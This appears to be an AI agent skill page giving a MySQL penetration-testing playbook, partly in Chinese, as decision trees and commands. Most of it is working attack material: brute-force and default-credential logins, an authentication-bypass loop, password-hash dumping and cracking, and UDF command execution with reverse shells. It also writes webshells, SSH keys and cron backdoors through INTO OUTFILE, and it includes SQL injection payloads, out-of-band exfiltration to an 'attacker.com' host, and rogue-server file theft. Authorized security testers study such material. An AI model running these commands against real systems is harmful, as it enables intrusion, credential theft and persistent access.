SuperAPI AI Directory

mysql-pentesting

Security & auditing

View repository

Updated 10-16 04:41

About this skill

MySQL Penetration Testing Methodology (3306)

In-depth Reference


Overall Decision Tree

发现 3306 端口开放
├─ Phase 1: 服务发现与版本识别
│   ├─ 确定 MySQL/MariaDB 版本
│   ├─ 识别操作系统与运行用户
│   └─ 检测 secure_file_priv / local_infile 配置
├─ Phase 2: 认证测试
│   ├─ 匿名/空密码登录
│   │   ├─ 成功 -> 直接进入 Phase 3
│   │   └─ 失败 -> 默认凭据 -> 暴力破解
│   ├─ 默认凭据 (root:空, root:root, root:toor 等)
│   └─ CVE-2012-2122 认证绕过 (MariaDB/MySQL 5.1.x)
├─ Phase 3: 数据库枚举
│   ├─ 库/表/列枚举 (information_schema)
│   ├─ 权限枚举 (SHOW GRANTS / mysql.user)
│   │   ├─ FILE 权限 -> 进入 Phase 4 文件读写
│   │   ├─ SUPER 权限 -> 进入 Phase 4 UDF
│   │   └─ 普通权限 -> 提取敏感数据,尝试密码复用
│   └─ 用户哈希提取 (mysql.user / mysql_hashdump)
├─ Phase 4: 权限提升
│   ├─ UDF 提权 (lib_mysqludf_sys)
│   │   ├─ Linux: .so 加载 -> sys_exec()
│   │   └─ Windows: .dll 加载 -> sys_exec() / NTFS ADS 目录创建
│   ├─ 文件读写
│   │   ├─ LOAD_FILE() 读取系统文件
│   │   ├─ INTO OUTFILE 写入 Webshell / .pth payload
│   │   └─ LOAD DATA LOCAL INFILE (客户端文件读取)
│   └─ MySQL 客户端 Shell (\! sh)
├─ Phase 5: MySQL 注入利用
│   ├─ UNION 注入 -> 信息泄露 / 文件读写
│   ├─ 带外注入 -> LOAD_FILE() + DNS/HTTP 外带
│   └─ Rogue MySQL Server -> 客户端文件窃取
└─ Phase 6: 已知漏洞
    ├─ CVE-2012-2122 — 认证绕过 (memcmp timing)
    ├─ CVE-2023-21971 — JDBC propertiesTransform RCE
    └─ Rogue/Fake MySQL Server 攻击 JDBC 客户端

Phase 1: Service Discovery and Version Identification

1.1 Port Scanning and Version Detection

# Nmap 服务版本探测 + MySQL 专项脚本
nmap -sV -p 3306 --script mysql-info,mysql-enum <IP>

# Nmap 全量 MySQL 脚本扫描
nmap -sV -p 3306 --script "mysql-*" <IP>

1.2 Metasploit Version Detection

msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS <IP>; run; exit'

1.3 Running User and Key Configuration

识别 MySQL 运行身份
├─ 本地 Shell 已获取
│   ├─ cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep "user"
│   ├─ systemctl status mysql | grep "user"
│   └─ ps aux | grep mysql
└─ 仅 MySQL 连接
    ├─ SELECT @@version, @@datadir, @@basedir;
    ├─ SHOW VARIABLES LIKE 'secure_file_priv';
    ├─ SHOW VARIABLES LIKE 'local_infile';
    └─ SHOW VARIABLES LIKE 'plugin_dir';

Key Judgments:

  • secure_file_priv is empty -> can read and write files at any path
  • local_infile enabled -> LOAD DATA LOCAL available, also exposes Rogue Server attack surface
  • MySQL running as root -> after UDF privilege escalation, directly obtain system root

Phase 2: Authentication Testing

2.1 Authentication Decision Tree

尝试连接 MySQL
├─ 1) 匿名/空密码
│   ├─ mysql -h <IP> -u root
│   ├─ mysql -h <IP> -u root@localhost
│   └─ Nmap: nmap --script mysql-empty-password -p 3306 <IP>
├─ 2) 默认凭据
│   ├─ root:(空) / root:root / root:toor / root:mysql
│   ├─ admin:admin / test:test / guest:guest
│   └─ debian-sys-maint:(从 /etc/mysql/debian.cnf 获取)
├─ 3) CVE-2012-2122 认证绕过
│   ├─ MariaDB / MySQL 5.1.x 受影响
│   ├─ 原理: memcmp 返回值截断,约 1/256 概率绕过
│   ├─ Nmap: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP>
│   └─ Metasploit: auxiliary/scanner/mysql/mysql_authbypass_hashdump
├─ 4) 暴力破解
│   ├─ hydra -t 4 -l root -P wordlist.txt <IP> mysql
│   └─ Metasploit: auxiliary/scanner/mysql/mysql_login
└─ 5) 本地提权路径
    ├─ /etc/mysql/debian.cnf 明文密码
    ├─ ~/.my.cnf / ~/.mylogin.cnf 凭据文件
    └─ auth_socket / unix_socket 插件 -> 本地 socket 无密码登录

2.2 Local Socket Authentication Detection

When a target Shell has already been obtained, the local socket is the fastest breakthrough point:

# 检测 socket 文件
ls -l /run/mysqld/mysqld.sock /var/run/mysqld/mysqld.sock 2>/dev/null

# 检测凭据文件
ls -l /etc/mysql/debian.cnf ~/.my.cnf ~/.mylogin.cnf 2>/dev/null

# auth_socket 插件 -> OS 用户直接映射为 DB 用户
mysql -S /run/mysqld/mysqld.sock -u root -e \
  "SELECT user,host,plugin FROM mysql.user;" 2>/dev/null

Phase 3: Database Enumeration

3.1 Basic Enumeration

# 连接后执行
show databases;
use <database>;
show tables;
describe <table_name>;
select version();
select user();
select database();

3.2 Privilege Enumeration Decision Tree

检查当前权限
├─ SHOW GRANTS FOR CURRENT_USER();
├─ SELECT * FROM mysql.user WHERE user=CURRENT_USER();
├─ 检查 FILE 权限
│   ├─ SELECT user,file_priv FROM mysql.user WHERE file_priv='Y';
│   ├─ 有 -> 标记进入 Phase 4 文件读写
│   └─ 无 -> 尝试其他提权路径
├─ 检查 SUPER 权限
│   ├─ SELECT user,Super_priv FROM mysql.user WHERE Super_priv='Y';
│   ├─ 有 -> 标记进入 Phase 4 UDF
│   └─ 无 -> 检查 CREATE/INSERT 等组合权限
└─ 自定义函数检查
    ├─ SELECT routine_name FROM information_schema.routines WHERE routine_type='FUNCTION' AND routine_schema!='sys';
    └─ 存在非系统函数 -> 可能已有 UDF 后门

3.3 User Hash Extraction

# 从 MySQL 内部提取
SELECT user,authentication_string FROM mysql.user;

# Metasploit 自动化
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'

# 从本地文件提取 (已获 Shell)
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

3.4 Metasploit Automatic Enumeration

msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'

Phase 4: Privilege Escalation

4.1 UDF Privilege Escalation Decision Tree

MySQL 以高权限运行 + 拥有 FILE/SUPER 权限
├─ 获取 plugin_dir 路径
│   └─ SHOW VARIABLES LIKE '%plugin%';
├─ 获取 UDF 库文件
│   ├─ sqlmap: locate "*lib_mysqludf_sys*"
│   ├─ Metasploit: locate "*lib_mysqludf_sys*"
│   └─ 手动编译 raptor_udf2.c
├─ Linux (.so)
│   ├─ 通过 table blob 中转写入 plugin_dir
│   ├─ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so';
│   └─ SELECT sys_exec('reverse shell command');
├─ Windows (.dll)
│   ├─ 同上,使用 .dll 文件
│   ├─ plugin_dir 不存在? -> NTFS ADS 创建目录
│   │   └─ SELECT 1 INTO OUTFILE 'C:\\path\\plugin::$INDEX_ALLOCATION';
│   └─ SELECT sys_exec("net user attacker P@ss /add");
└─ 利用后清理
    └─ DROP FUNCTION sys_exec;

-> read references/mysql-techniques.md for complete UDF steps

4.2 File Read-Write Decision Tree

拥有 FILE 权限 + secure_file_priv 不限制
├─ 读取文件
│   ├─ SELECT LOAD_FILE('/etc/passwd');
│   ├─ SELECT LOAD_FILE('/etc/shadow');  # 需 mysql 用户有读权限
│   └─ SELECT LOAD_FILE('/var/lib/mysql-files/key.txt');
├─ 写入文件
│   ├─ Webshell
│   │   └─ SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/shell.php';
│   ├─ Python .pth RCE
│   │   ├─ 写入 .pth 到 site-packages 目录
│   │   ├─ .pth 中 import 语句自动执行
│   │   └─ 触发: 请求任意 Python CGI 脚本
│   ├─ SSH 公钥写入
│   │   └─ SELECT "<pubkey>" INTO OUTFILE '/root/.ssh/authorized_keys';
│   └─ Cron Job 写入
│       └─ SELECT "* * * * * root reverse_shell" INTO OUTFILE '/etc/cron.d/backdoor';
├─ 二进制数据写入
│   ├─ CONVERT(unhex("..."), BINARY)
│   └─ CONVERT(from_base64("..."), BINARY)
└─ 限制
    ├─ INTO OUTFILE 不能覆盖已有文件
    └─ 路径相对于 MySQL CWD,可用 ../../ 前缀调整

4.3 LOAD DATA LOCAL INFILE (Client-Side File Read)

Rogue MySQL Server 攻击
├─ 原理: LOAD DATA LOCAL 时服务端可指定客户端读取任意文件
├─ 前提: 客户端 local_infile=ON (许多客户端默认开启)
├─ 工具
│   ├─ Rogue-MySql-Server (Python)
│   └─ mysql-fake-server (Java)
├─ 攻击流程
│   ├─ 启动 Rogue Server 监听 3306
│   ├─ 诱使目标连接 (DNS 劫持 / 配置篡改)
│   └─ 自动读取客户端本地文件 (/etc/passwd 等)
└─ JDBC 扩展
    ├─ allowLoadLocalInfile=true -> 文件读取
    └─ autoDeserialize=true -> 反序列化 RCE

4.4 MySQL Client Shell

# 已连接到 MySQL 后,直接获取当前用户 Shell
\! sh
\! bash
\! id

Phase 5: MySQL Injection Exploitation

5.1 Injection Decision Tree

发现 MySQL 注入点
├─ UNION 注入
│   ├─ 确定列数: ORDER BY 递增 / UNION SELECT NULL,NULL,...
│   ├─ 信息收集: version(), user(), database()
│   ├─ 数据提取
│   │   ├─ UNION SELECT table_name FROM information_schema.tables
│   │   └─ UNION SELECT column_name FROM information_schema.columns WHERE table_name='...'
│   └─ 文件操作 (需 FILE 权限)
│       ├─ UNION SELECT LOAD_FILE('/etc/passwd')
│       └─ UNION SELECT ... INTO OUTFILE '/path/shell.php'
├─ 报错注入
│   ├─ extractvalue(1, concat(0x7e, (SELECT ...)))
│   └─ updatexml(1, concat(0x7e, (SELECT ...)), 1)
├─ 盲注
│   ├─ 布尔盲注: AND (SELECT ...) = 1
│   └─ 时间盲注: AND IF(..., SLEEP(5), 0)
├─ 带外注入 (OOB)
│   └─ SELECT LOAD_FILE(concat('\\\\', (SELECT ...), '.attacker.com\\a'));
└─ 空格绕过
    ├─ /**/ 注释替换
    ├─ /*!*/ 版本注释
    └─ %09 / %0a / %0d 替代空格

Phase 6: Known Vulnerabilities

6.1 Vulnerability Detection Decision Tree

MySQL 版本已知
├─ MySQL 5.1.x / MariaDB 特定版本
│   └─ CVE-2012-2122 认证绕过
│       ├─ 检测: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP>
│       └─ 利用: for i in $(seq 1 1000); do mysql -u root --password=bad -h <IP> 2>/dev/null; done
├─ MySQL Connector/J <= 8.0.32
│   └─ CVE-2023-21971 (propertiesTransform RCE)
│       ├─ 前提: 可控制 JDBC 连接字符串
│       └─ 利用: jdbc:mysql://<IP>:3306/test?propertiesTransform=com.evil.Evil
├─ 客户端连接 JDBC
│   ├─ allowLoadLocalInfile=true -> Rogue Server 文件读取
│   └─ autoDeserialize=true -> Rogue Server 反序列化 RCE
├─ Windows 目标
│   └─ Metasploit: exploit/windows/mysql/mysql_start_up (凭据执行)
└─ 通用检测
    └─ nmap -sV -p 3306 --script mysql-vuln* <IP>

6.2 Hash Cracking

提取到 MySQL 哈希
├─ mysql_native_password (MySQL 5.x)
│   ├─ Hashcat: hashcat -m 300 hashes.txt wordlist.txt
│   └─ John: john --format=mysql-sha1 hashes.txt
├─ caching_sha2_password (MySQL 8.x)
│   ├─ Hashcat: hashcat -m 21100 hashes.txt wordlist.txt
│   └─ John: john --format=mysql-sha2 hashes.txt
└─ 旧版 MySQL 3.x/4.x
    └─ Hashcat: hashcat -m 200 hashes.txt wordlist.txt

Post-Exploitation — Local Audit Checklist

Quick audit of MySQL configuration after obtaining a Shell:

Check Item Risk Description
secure_file_priv = "" Allows file read-write at any path
local_infile = ON LOAD DATA LOCAL available, Rogue Server attack surface
MySQL running as root UDF privilege escalation directly obtains system root
/etc/mysql/debian.cnf readable Contains debian-sys-maint plaintext password
~/.my.cnf / ~/.mylogin.cnf exists Contains user credentials
auth_socket plugin enabled Local socket passwordless login
skip-networking not set Remote connection available

Key Configuration File Paths

Linux
├─ /etc/my.cnf
├─ /etc/mysql/my.cnf
├─ /var/lib/mysql/my.cnf
├─ ~/.my.cnf
├─ ~/.mysql_history          # 命令历史
└─ /var/lib/mysql/mysql/user.MYD  # 用户哈希

Windows
├─ C:\Windows\my.ini
├─ C:\MySQL\data\
└─ <InstDir>\mysql\data\

-> read references/mysql-techniques.md for complete technical details and command reference